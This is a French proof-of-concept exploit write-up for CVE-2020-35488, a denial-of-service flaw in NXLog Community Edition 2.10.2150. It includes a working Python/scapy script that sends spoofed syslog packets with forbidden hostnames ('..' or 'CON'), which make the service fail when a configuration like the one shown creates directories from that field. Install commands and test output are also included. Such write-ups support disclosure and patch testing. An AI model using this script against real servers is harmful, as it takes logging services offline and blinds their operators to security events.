
Exploit de preuve de concept pour CVE-2020-35488, une vulnérabilité de déni de service dans NXLOG Community Edition via des charges utiles syslog conçues provoquant des échecs de création de répertoire.
J'ai trouvé une vulnérabilité dans le produit : nxlog-ce_2.10.2150. J'ai testé mon PoC uniquement sur Linux (Debian 10) et Windows (Windows Server 2016).
Portée : NXLOG Community Edition 2.10.2150
Type de bug : CWE-502, Désérialisation de données non fiables https://cwe.mitre.org/data/definitions/502.html
Partie vulnérable : Charge utile Syslog
Charge utile :
MON CALCUL CVSS :
Vecteur d'attaque : Réseau
Privilèges requis : Aucun
Portée : Inchangée
Intégrité : Aucune
Complexité de l'attaque : Faible
Interaction utilisateur : Aucune
Confidentialité : Aucune
Disponibilité : Élevée
SCORE CVSS : 7.5
SÉVÉRITÉ : ÉLEVÉE
CALCUL CVSS DE NIST : Lien : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Vecteur d'attaque :
Privilèges requis :
Portée :
Intégrité :
Complexité de l'attaque :
Interaction utilisateur :
Confidentialité :
Disponibilité :
SCORE CVSS (3.X) : 7.5
SÉVÉRITÉ : ÉLEVÉE
Cette vulnérabilité peut provoquer un déni de service (DoS) du serveur NXLOG.
Mais le serveur doit avoir une configuration spécifique : le fichier de configuration nxlog doit définir la création d'un répertoire à partir d'un champ d'une partie de la charge utile Syslog.
Champ Syslog : https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields
Le logiciel essaie de créer un répertoire, mais le nom de ce répertoire ne peut pas être créé sur le système de fichiers.
Parce que le nom de ce répertoire est interdit.
Voici un exemple de nom de répertoire impossible à créer :
Donc, si le fichier de configuration est défini pour créer un répertoire nommé avec la charge utile Syslog, un attaquant peut arrêter le service Nxlog.
Pour exploiter cette vulnérabilité, j'ai créé un script Python :
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Installer le service Nxlog sur Debian 10 :
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
Fichier de configuration du service nxlog :
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Démarrer le service Nxlog :
systemctl start nxlog
systemctl status nxlog
Résultat :
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Vérification :
lsof -i :514
Résultat :
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
Ok super !
Avec mon script Python, je peux simplement envoyer un message Syslog pour tester si le service Nxlog crée un répertoire.
Le nom du répertoire est basé sur le champ HOSTNAME de la charge utile Syslog. (Voir le fichier de configuration)
Donc :
./syslog-exploit.py -ip 192.168.1.55 -os 3
La troisième option spécifie le hostname 123soleil dans la charge utile Syslog.
Donc :
ls /var/log/nxlog
123soleil nxlog.log